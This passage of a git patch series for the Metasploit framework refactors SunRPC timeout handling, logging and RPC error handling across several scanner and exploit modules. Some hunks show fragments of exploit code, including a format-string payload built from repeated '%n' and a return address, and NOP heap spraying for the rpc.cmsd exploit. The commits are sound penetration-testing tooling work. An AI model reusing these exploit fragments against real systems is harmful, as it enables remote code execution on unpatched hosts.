Opt::RHOST, Opt::RPORT(111), ], Msf::Exploit::Remote::SunRPC ) end - def sunrpc_create(protocol, program, version) + def sunrpc_create(protocol, program, version, timeout = timeout) self.rpcobj = Rex::Proto::SunRPC::Client.new( :rhost => rhost, :rport => rport.to_i, :proto => protocol, :program => program, + :timeout => timeout, :version => version, :context => { 'Msf' => framework, @@ -82,7 +84,7 @@ module Exploit::Remote::SunRPC rpcobj.pport = arr[5] end - def sunrpc_call(proc, buf, timeout=20) + def sunrpc_call(proc, buf, timeout = timeout) ret = rpcobj.call(proc, buf, timeout) raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret @@ -157,6 +159,11 @@ module Exploit::Remote::SunRPC return "UNKNOWN-#{number}" end + # Returns the time that this module will wait for RPC responses, in seconds + def timeout + datastore['TIMEOUT'] + end + # Used to track the last SunRPC context attr_accessor :rpcobj end From b2f9307e0a58fd19274c5677ad6c51e689ed83d9 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 11:28:02 -0700 Subject: [PATCH 92/99] vprint # of RPC programs, since the table comes right after --- modules/auxiliary/scanner/misc/sunrpc_portmapper.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb index 79e0140fbf..1be0154715 100644 --- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb +++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary end sunrpc_destroy return if maps.empty? - print_good("#{peer} - Found #{maps.size} programs available") + vprint_good("#{peer} - Found #{maps.size} programs available") table = Rex::Ui::Text::Table.new( 'Header' => "SunRPC Programs for #{ip}", From 82f89e620b134971db2d7a9f847deaa07bc1319a Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 11:33:19 -0700 Subject: [PATCH 93/99] Clean up nfs mount scanner to *print_* better --- modules/auxiliary/scanner/nfs/nfsmount.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/nfs/nfsmount.rb b/modules/auxiliary/scanner/nfs/nfsmount.rb index 7321992831..c1c1576037 100644 --- a/modules/auxiliary/scanner/nfs/nfsmount.rb +++ b/modules/auxiliary/scanner/nfs/nfsmount.rb @@ -76,11 +76,12 @@ class Metasploit3 < Msf::Auxiliary :update => :unique_data ) elsif(exports == 0x00) - print_status("#{ip} - No exported directories") + vprint_status("#{ip} - No exported directories") end sunrpc_destroy - rescue ::Rex::Proto::SunRPC::RPCTimeout + rescue ::Rex::Proto::SunRPC::RPCTimeout, ::Rex::Proto::SunRPC::RPCError => e + vprint_error(e.to_s) end end From 500c4249fe33e815d9759fafbf333e4574df972b Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 11:41:40 -0700 Subject: [PATCH 94/99] Update solaris_kcms_readfile to gracefully handle RPC errors --- modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb index eef03df515..84415ae972 100644 --- a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb +++ b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb @@ -127,6 +127,8 @@ class Metasploit3 < Msf::Auxiliary # done sunrpc_destroy + rescue ::Rex::Proto::SunRPC::RPCError => e + vprint_error(e.to_s) rescue ::Rex::Proto::SunRPC::RPCTimeout print_warning 'Warning: ' + $! print_warning 'Exploit may or may not have succeeded.' From 60e31cb342016ae7191a1c1ccea3f71bf965a9e4 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 17 Nov 2014 11:58:26 -0800 Subject: [PATCH 95/99] Allow sunrpc_create to raise on its own --- modules/exploits/aix/rpc_cmsd_opcode21.rb | 4 +--- modules/exploits/windows/emc/networker_format_string.rb | 4 +--- 2 files changed, 2 insertions(+), 6 deletions(-) diff --git a/modules/exploits/aix/rpc_cmsd_opcode21.rb b/modules/exploits/aix/rpc_cmsd_opcode21.rb index 7c1bfce14c..3dac383686 100644 --- a/modules/exploits/aix/rpc_cmsd_opcode21.rb +++ b/modules/exploits/aix/rpc_cmsd_opcode21.rb @@ -80,9 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret']) begin - if (not sunrpc_create('udp', 100068, 4)) - fail_with(Failure::Unknown, 'sunrpc_create failed') - end + sunrpc_create('udp', 100068, 4) # spray the heap a bit (work around powerpc cache issues) buf = make_nops(1024 - @aixpayload.length) diff --git a/modules/exploits/windows/emc/networker_format_string.rb b/modules/exploits/windows/emc/networker_format_string.rb index 88fe1b87f0..a3968a6e0a 100644 --- a/modules/exploits/windows/emc/networker_format_string.rb +++ b/modules/exploits/windows/emc/networker_format_string.rb @@ -74,9 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit begin - if (not sunrpc_create('tcp', 0x5F3DD, 2)) - fail_with(Failure::Unknown, 'sunrpc_create failed') - end + sunrpc_create('tcp', 0x5F3DD, 2) fs = "%n" * target['Offset'] fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll From 694561dd0ffc05648580fe53366801ed5896d9db Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 18 Nov 2014 11:02:27 -0600 Subject: [PATCH 96/99] Dont shadow methods with local variables, just in case... --- lib/msf/core/exploit/sunrpc.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb index 9645b3247e..b9ab02d6b7 100644 --- a/lib/msf/core/exploit/sunrpc.rb +++ b/lib/msf/core/exploit/sunrpc.rb @@ -51,13 +51,13 @@ module Exploit::Remote::SunRPC ) end - def sunrpc_create(protocol, program, version, timeout = timeout) + def sunrpc_create(protocol, program, version, time_out = timeout) self.rpcobj = Rex::Proto::SunRPC::Client.new( :rhost => rhost, :rport => rport.to_i, :proto => protocol, :program => program, - :timeout => timeout, + :timeout => time_out, :version => version, :context => { 'Msf' => framework, From 4844447d17a84c4472ee524510ab54e94e009403 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 18 Nov 2014 11:03:20 -0600 Subject: [PATCH 97/99] Use 20 seconds as default timeout * Because it's the default timeout on Rex::Proto::SunRPC::Client --- lib/msf/core/exploit/sunrpc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb index b9ab02d6b7..abbf8d8cba 100644 --- a/lib/msf/core/exploit/sunrpc.rb +++ b/lib/msf/core/exploit/sunrpc.rb @@ -38,7 +38,7 @@ module Exploit::Remote::SunRPC register_advanced_options( [ - OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 5]) + OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 20]) # XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req ], Msf::Exploit::Remote::SunRPC) From 542eb6e3017bb7823db876122aa976f80abbc43b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 18 Nov 2014 11:20:41 -0600 Subject: [PATCH 98/99] Handle exception in brute force exploits --- modules/auxiliary/scanner/misc/sunrpc_portmapper.rb | 2 +- modules/exploits/aix/rpc_cmsd_opcode21.rb | 6 ++++-- .../exploits/solaris/sunrpc/sadmind_adm_build_path.rb | 9 ++++++++- 3 files changed, 13 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb index 1be0154715..8c7fa985c9 100644 --- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb +++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary progver = 2 procedure = 4 - return unless sunrpc_create('udp', program, progver) + sunrpc_create('udp', program, progver) sunrpc_authnull resp = sunrpc_call(procedure, "") diff --git a/modules/exploits/aix/rpc_cmsd_opcode21.rb b/modules/exploits/aix/rpc_cmsd_opcode21.rb index 3dac383686..ad11665a90 100644 --- a/modules/exploits/aix/rpc_cmsd_opcode21.rb +++ b/modules/exploits/aix/rpc_cmsd_opcode21.rb @@ -103,9 +103,11 @@ class Metasploit3 < Msf::Exploit::Remote sunrpc_destroy rescue Rex::Proto::SunRPC::RPCTimeout - # print_error('RPCTimeout') + vprint_error('RPCTimeout') + rescue Rex::Proto::SunRPC::RPCError => e + vprint_error(e.to_s) rescue EOFError - # print_error('EOFError') + vprint_error('EOFError') end end diff --git a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb index 16bdfc348a..0a6caf1ee7 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb @@ -98,7 +98,12 @@ class Metasploit3 < Msf::Exploit::Remote end def brute_exploit(brute_target) - sunrpc_create('udp', 100232, 10) + begin + sunrpc_create('udp', 100232, 10) + rescue Rex::Proto::SunRPC::RPCTimeout, Rex::Proto::SunRPC::RPCError => e + vprint_error(e.to_s) + return + end unless @nops print_status('Creating nop block...') @@ -145,6 +150,8 @@ class Metasploit3 < Msf::Exploit::Remote sunrpc_call(1, request, 2) rescue Rex::Proto::SunRPC::RPCTimeout print_status('Server did not respond, this is expected') + rescue Rex::Proto::SunRPC::RPCError => e + print_error(e.to_s) end sunrpc_destroy From dff6af0747ec25213e768636b3d3991a7dc0b55e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 18 Nov 2014 12:48:35 -0600 Subject: [PATCH 99/99] Restore timeout --- lib/msf/core/exploit/sunrpc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb index abbf8d8cba..b9ab02d6b7 100644 --- a/lib/msf/core/exploit/sunrpc.rb +++ b/lib/msf/core/exploit/sunrpc.rb @@ -38,7 +38,7 @@ module Exploit::Remote::SunRPC register_advanced_options( [ - OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 20]) + OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 5]) # XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req ], Msf::Exploit::Remote::SunRPC)